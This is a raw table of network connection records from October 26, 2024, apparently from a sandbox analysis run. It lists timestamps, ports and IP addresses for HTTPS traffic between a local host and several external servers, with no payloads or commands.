Oct 26, 2024 13:49:05.916690111 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.916690111 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.920286894 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.920329094 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.920402050 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.921077967 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.921092987 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.922893047 CEST	49758	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.922924995 CEST	443	49758	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.928906918 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.928936005 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.928991079 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.929198027 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.929205894 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.931915045 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.931941986 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.931996107 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.932193995 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.932208061 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.973364115 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.973412991 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:05.973598003 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.974510908 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:05.974530935 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.005920887 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.005950928 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.005994081 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.006007910 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.006053925 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.028837919 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028867960 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028878927 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028893948 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028903008 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028906107 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028929949 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.028968096 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.028986931 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.028992891 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.029022932 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.046680927 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.046766043 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.082719088 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.082752943 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.083129883 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.101100922 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.143326044 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.145862103 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.145879030 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.145910025 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.145917892 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.145925045 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.145927906 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.145951033 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.145979881 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.145992041 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.146012068 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.206834078 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:06.206912041 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:06.212255001 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:06.212282896 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:06.212563038 CEST	443	49761	52.149.20.212	192.168.2.5
Oct 26, 2024 13:49:06.250917912 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.262989044 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263005972 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263048887 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263053894 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.263065100 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263112068 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.263123035 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263133049 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263174057 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.263179064 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263187885 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263204098 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263220072 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.263236046 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.263240099 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263264894 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.263439894 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.266100883 CEST	49761	443	192.168.2.5	52.149.20.212
Oct 26, 2024 13:49:06.287553072 CEST	49759	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.287570000 CEST	443	49759	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.288041115 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.288064957 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.288120985 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.288651943 CEST	49773	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.288661957 CEST	443	49773	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.291369915 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.291402102 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.291415930 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.291481972 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.291502953 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.291544914 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.363733053 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.363749981 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.363794088 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.363815069 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.363831997 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.363869905 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.412064075 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.412091017 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.412147045 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.412174940 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.412192106 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.412220955 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.504199028 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.504839897 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.504857063 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.505330086 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.505713940 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.505791903 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.505908966 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.509674072 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.510863066 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.510890961 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.511280060 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.511831045 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.511944056 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.512372017 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.532655954 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.532682896 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.532746077 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.532774925 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.532798052 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.532809973 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.533540964 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.534415007 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.534441948 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.534811974 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.535197020 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.535267115 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.535352945 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.547329903 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.559333086 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.579334974 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.601732969 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.605252028 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.605268955 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.605684996 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.612762928 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.612860918 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.612945080 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.638087988 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.638962030 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.638986111 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.640098095 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.640176058 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.644800901 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.644912004 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.645365000 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.645378113 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.652976990 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.653004885 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.653055906 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.653084993 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.653101921 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.653125048 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.655323982 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.671276093 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.732256889 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.732271910 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.732290983 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.732345104 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.732374907 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.732404947 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.732423067 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.761367083 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.761404037 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.761476994 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.761504889 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.761528015 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.761559963 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.763130903 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.763217926 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.763282061 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.764771938 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.764841080 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.764895916 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.765896082 CEST	49763	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.765918970 CEST	443	49763	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.766932964 CEST	49762	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.766956091 CEST	443	49762	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.769735098 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.773356915 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.773377895 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.773797989 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.774115086 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.774945974 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.775022984 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.775190115 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.775207043 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.775343895 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.775650024 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.776612997 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.776695013 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.777074099 CEST	49768	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.779872894 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.780230045 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.780239105 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.781322956 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.781407118 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.781759977 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.781833887 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.782175064 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.782186031 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.794759989 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.794962883 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.794970036 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.795980930 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.796040058 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.804208040 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.804303885 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.804429054 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.823322058 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.823331118 CEST	443	49768	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.839133978 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.839284897 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.839566946 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.841162920 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.841188908 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.841216087 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.841242075 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.841259003 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.841283083 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.841301918 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.841317892 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.842303991 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.842351913 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.846687078 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.846777916 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.847018957 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.847035885 CEST	443	49772	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.851329088 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.865353107 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.865418911 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.865777969 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.866139889 CEST	49765	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.866158009 CEST	443	49765	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900207996 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900240898 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900250912 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900278091 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900305033 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900315046 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900315046 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.900351048 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900377035 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.900378942 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.900398016 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.900429010 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.909709930 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909738064 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909745932 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909760952 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909773111 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909782887 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909796000 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.909818888 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909838915 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.909849882 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.909864902 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.925447941 CEST	49766	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.925471067 CEST	443	49766	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.936057091 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.936090946 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.936182976 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.936456919 CEST	49775	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.936470032 CEST	443	49775	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.953479052 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.953495979 CEST	443	49771	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.953500986 CEST	49772	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.960769892 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.961688042 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.961721897 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.961747885 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.961764097 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:06.961810112 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.961810112 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:06.977845907 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.977858067 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.977883101 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.977905989 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:06.977911949 CEST	443	49744	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:06.977943897 CEST	49744	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.003552914 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:07.003617048 CEST	443	49722	172.217.16.132	192.168.2.5
Oct 26, 2024 13:49:07.005441904 CEST	49722	443	192.168.2.5	172.217.16.132
Oct 26, 2024 13:49:07.015487909 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.015522003 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.015561104 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.015588045 CEST	443	49760	13.107.246.60	192.168.2.5
Oct 26, 2024 13:49:07.015609026 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.015625954 CEST	49760	443	192.168.2.5	13.107.246.60
Oct 26, 2024 13:49:07.023207903 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.023236990 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.023266077 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.023288012 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.023293972 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.023335934 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.030405045 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.030420065 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.030437946 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.030447960 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.030467987 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.030468941 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.030477047 CEST	443	49764	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.030497074 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.030515909 CEST	49764	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.034894943 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.034924030 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.034931898 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.034954071 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.034965992 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.034970999 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.034986019 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.035026073 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.035026073 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.053116083 CEST	49771	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.100984097 CEST	49770	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.101011038 CEST	443	49770	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.101321936 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.101352930 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.101421118 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.101924896 CEST	49776	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.101936102 CEST	443	49776	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.102524996 CEST	49769	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.102535963 CEST	443	49769	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.102889061 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.102921009 CEST	443	49777	212.42.75.253	192.168.2.5
Oct 26, 2024 13:49:07.102983952 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.103436947 CEST	49777	443	192.168.2.5	212.42.75.253
Oct 26, 2024 13:49:07.103447914 CEST	443	49777	212.42.75.253	192.168.2.5
